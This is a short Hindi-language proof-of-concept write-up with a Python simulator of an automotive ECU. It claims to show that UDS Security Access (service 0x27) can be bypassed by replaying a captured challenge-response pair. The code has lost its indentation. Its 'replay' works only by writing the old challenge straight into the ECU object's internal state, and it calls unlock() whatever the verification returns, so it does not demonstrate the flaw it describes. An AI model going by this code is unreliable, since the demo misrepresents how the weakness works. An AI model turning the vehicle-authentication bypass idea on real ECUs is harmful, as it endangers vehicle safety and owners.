
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो ऑटोमोटिव ECU पर चैलेंज-रिस्पॉन्स रीप्ले के माध्यम से UDS प्रमाणीकरण बायपास को प्रदर्शित करता है, Python CAN-UDS सिम्युलेटर के साथ।
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
एक ऑटोमोटिव ECU यूनिफाइड डायग्नोस्टिक सर्विसेज़ (UDS) सुरक्षा एक्सेस (सर्विस 0x27) लागू करता है, लेकिन चैलेंज के एक-बार उपयोग को लागू नहीं करता। एक हमलावर एक वैध चैलेंज-प्रतिक्रिया जोड़ी को कैप्चर कर सकता है और प्रमाणीकरण को बायपास करने के लिए उसे रीप्ले कर सकता है।
सिमुलेशन चलाएँ:
python uds_sim.py
ECU एक ही प्रमाणीकरण जोड़ी के साथ दो बार अनलॉक होता है।